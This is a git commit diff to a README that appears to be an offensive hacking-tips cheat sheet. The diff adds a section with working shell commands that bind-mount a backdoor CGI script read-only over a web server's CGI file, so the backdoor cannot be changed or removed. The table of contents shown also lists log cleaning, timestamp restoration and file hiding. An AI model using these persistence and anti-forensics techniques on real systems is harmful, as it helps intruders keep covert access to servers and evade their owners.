Update README.md

This commit is contained in:
skyper
2024-01-06 05:57:42 +00:00
committed by GitHub
parent 700dece348
commit 3f3e93334e
+11
View File
@@ -79,6 +79,7 @@ Got tricks? Join us on Telegram: [https://t.me/thcorg](https://t.me/thcorg)
1. [Restore the date of a file](#restore-timestamp)
1. [Clean logfile](#shell-clean-logs)
1. [Hide files from a User without root privileges](#shell-hide-files)
1. [Make a file immutable](#perm-files)
1. [Crypto](#crypto)
1. [Generate quick random Password](#gen-password)
1. [Linux transportable encrypted filesystems](#crypto-filesystem)
@@ -1679,6 +1680,16 @@ mkdir $'\t'
cd $'\t'
```
<a id="perm-files"></a>
**8.v. Make a file immuteable**
This will redirect `/var/www/cgi/blah.cgi` to `/boot/backdoor.cgi`. The file `blah.cgi` can not be modified or removed (unless unmounted).
```sh
# /boot/backdoor.cgi contains our backdoor
touch /var/www/cgi/blah.cgi
mount -o bind,ro /boot/backdoor.cgi /var/www/cgi/blah.cgi
```
---
<a id="crypto"></a>
## 9. Crypto